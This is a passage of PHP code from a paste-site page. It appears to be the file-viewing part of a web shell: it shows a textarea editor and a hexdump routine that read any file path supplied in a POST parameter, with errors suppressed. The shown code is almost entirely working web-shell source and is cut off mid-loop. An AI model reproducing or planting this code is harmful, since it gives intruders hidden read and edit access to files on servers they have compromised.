            echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; 
            $fp = @fopen($_POST['p1'], 'r'); 
            if($fp) { 
                while( !@feof($fp) ) 
                    echo htmlspecialchars(@fread($fp, 1024)); 
                @fclose($fp); 
            } 
            echo '</textarea><input type=submit value=">>"></form>'; 
            break; 
        case 'hexdump': 
            $c = @file_get_contents($_POST['p1']); 
            $n = 0; 
            $h = array('00000000<br>','',''); 
            $len = strlen($c); 
            for ($i=0; $i<$len; ++$i) { 
                $h[1] .= sprintf('%02X',ord($c[$i])).' '; 
                switch ( ord($c[$i]) ) { 
                    case 0:  $h[2] .= ' '; break; 
                    case 9:  $h[2] .= ' '; break; 
                    case 10: $h[2] .= ' '; break; 
                    case 13: $h[2] .= ' '; break; 
                    default: $h[2] .= $c[$i]; break; 
                } 
                $n++; 
                if ($n == 32) { 
              …

Raw · Download

Pastee